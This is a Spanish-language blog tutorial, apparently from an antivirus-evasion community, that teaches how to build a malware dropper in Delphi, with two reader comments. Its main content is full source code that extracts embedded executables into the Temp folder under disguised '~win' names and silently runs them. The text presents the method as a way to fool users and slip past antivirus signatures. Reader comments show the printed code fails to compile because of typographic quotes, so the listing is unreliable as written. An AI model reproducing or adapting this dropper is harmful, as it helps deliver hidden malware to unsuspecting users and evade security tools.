// Estas leyendo...

Delphi

Dropper desde 0 [ Delphi ]

Ok, comenzemos…
¿Que es un dropper?


Es un programa que extrae 1 o más archivos en un computador, y usualmente los ejecuta o abre una vez son extraidos. Comportamientos comunes en los droppers son su ejecución invisible, más se pueden hacer muchas otras cosas.
Esto crea el efecto para un usuario comun que pensara que solo esta ejecutando una sola aplicación, cuando en verdad pueden haber otras tantas.
¿Porque un dropper y no un binder?


Por su flexibilidad, porque su header es menos perseguido que el de los archivos bindeados para los AV que cargan firmas como locos y porque son un buen inicio para poder entender tanto binders como droppers.
Conceptos para hacer un dropper
¿Como incluir un archivo en un programa?


Tenemos las siguientes posibilidades:
* Como un array de tipo caracter [el archivo letra por letra]
* Como un resource. [el archivo como un recurso del programa]
* Iniciando con el header del archivo al final del programa, “union por la cola” [Tipo binder]

Añadiendola como un array nos ocuparia mucho más espacio, y la union tipo binder no nos interesa por el momento. Añadirlo como un resource sera nuestra elección:
Creando un resource: Esto se puede hacer en notepad y luego guardarlo como un archivo con extension .RC


Delphi nos avisara de la ausencia del .RES y lo creara por nosotros siguiendo la ruta que encuentre en el .RC y relacionando ambos archivos en una libreria de recursos .RES.

Creando el dropper el Delphi
Bueno, para ahorrar espacio en el codigo añado los comentarios de que es cada cosa:
* Abrimos Delphi, en un nuevo proyecto copiamos el source siguiente.
Luego guardamos como .dpr (asegurarse que el archivo .RC y los archivos .exe para droppear esten en la misma.

program dropper;
{$R ‘RSCR.res’ ‘RSCR.RC’}   //Establecemos nuestros recursos >.<
uses
  Windows, Shellapi;
var
  File1: String = ‘archivo1′;
  File2: String = ‘archivo2′;
  File1Extention: String = ‘exe’;
  File2Extention: String = ‘exe’;
{$R *.res}

// Extraer un resource a un archivo y ejecutarlo
procedure ExtractFile(whichone: String);
var
 WhichExtention: String;
 TempDirBuff,TempFileNameBuff,ResultFilePath,ResourcePointer: PChar;
 ResourceLocation: HRSRC;
 ResourceSize,byteswritten: Longword;
 ResDataHandle: THandle;
 FileHandle: THandle;
begin
 //Obtener memoria
 getMem(TempDirBuff,MAX_PATH+1);
 getMem(TempFileNameBuff,MAX_PATH+1);
 //Obtener la ruta Temp
 GetTempPath(MAX_PATH+1,TempDirBuff);
 //Obtener un nombre para el archivo
 GetTempFileName(TempDirBuff,‘~win’,0,TempFileNameBuff);
 //Obtener la extension de los archivos extraidos
 if whichone = File1 then WhichExtention := File1Extention
 else WhichExtention := File2Extention;
 //Crear un string para la ruta C:\Windows\Temp\~winxxx.exe
 ResultFilePath := PChar(Copy(TempFileNameBuff,0,Length(TempFileNameBuff) - 3) + WhichExtention);
 //Liberar memoria
 freeMem(TempDirBuff);
 freeMem(TempFileNameBuff);

 //Buscar el resource
 ResourceLocation := FindResource(HInstance,PChar(whichone),RT_RCDATA);
 if ResourceLocation = 0 then exit;
 //Obtener el tamaño del resource
 ResourceSize := SizeofResource(HInstance,ResourceLocation);
 if ResourceSize = 0 then exit;
 //Cargar el recurso en memoria
 ResDataHandle := LoadResource(HInstance,ResourceLocation);
 if ResDataHandle = 0 then exit;
 //Asegurar el resource
 ResourcePointer := LockResource(ResDataHandle);
 if ResourcePointer = NIL then exit;
 //Crear nuestro archivo
 FileHandle := CreateFile(ResultFilePath,GENERIC_WRITE,FILE_SHARE_WRITE,NIL,CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,0);
 if FileHandle = INVALID_HANDLE_VALUE then exit;
 //Escribir Resource en un archivo
 WriteFile(FileHandle,ResourcePointer^,ResourceSize,byteswritten,NIL);
 //Cerrar archivo
 CloseHandle(FileHandle);
 //Ejecutar archivo
 ShellExecute(0,NIL,ResultFilePath,NIL,NIL,SW_SHOW);
 //return
end;
// Aqui es el inicio del programa
begin
  ExtractFile(File1); //Extraer + ejecutar Archivo1
  ExtractFile(File2); //Extract + ejecutar Archivo2
  //Fin del programa
end.

Ok, si miramos de cerca el codigo, nuestro dropper ahora tomara los archivos que esten en el .RES, los extraera y luego los ejecutara en la carpeta temp bajo un nombre aleatorio. Ahora que ya tenemos lo necesario para que nuestro dropper funcione, compilamos y ya esta.

Tutorial Elaborado Por: status.0 [ www.indetectables.net ]

Comentarios

2 comments para “Dropper desde 0 [ Delphi ]”

  1. estimados muy buen tutorial pero no me funiona
    lo hago on delphi 7

    pero me sale error

    al tratar de compilar

    Posted by wayzoken | Octubre 28, 2008, 13:10
  2. estimados este es el error que me arroja porfabor algun dato para saber que hago mal

    Build
    [Warning] DROPER.dpr(2): File not found: ‘‘RSCR.res’’
    [Error] DROPER.dpr(6): Illegal character in input file: ‘‘’ ($91)
    [Error] DROPER.dpr(7): ‘;’ expected but identifier ‘File2′ found
    [Error] DROPER.dpr(7): Illegal character in input file: ‘‘’ ($91)
    [Error] DROPER.dpr(8): ‘;’ expected but identifier ‘File1Extention’ found
    [Error] DROPER.dpr(8): Illegal character in input file: ‘‘’ ($91)
    [Error] DROPER.dpr(9): Illegal character in input file: ‘‘’ ($91)
    [Error] DROPER.dpr(28): Illegal character in input file: ‘‘’ ($91)

    Posted by wayzoken | Diciembre 15, 2008, 14:53

Deja un comentario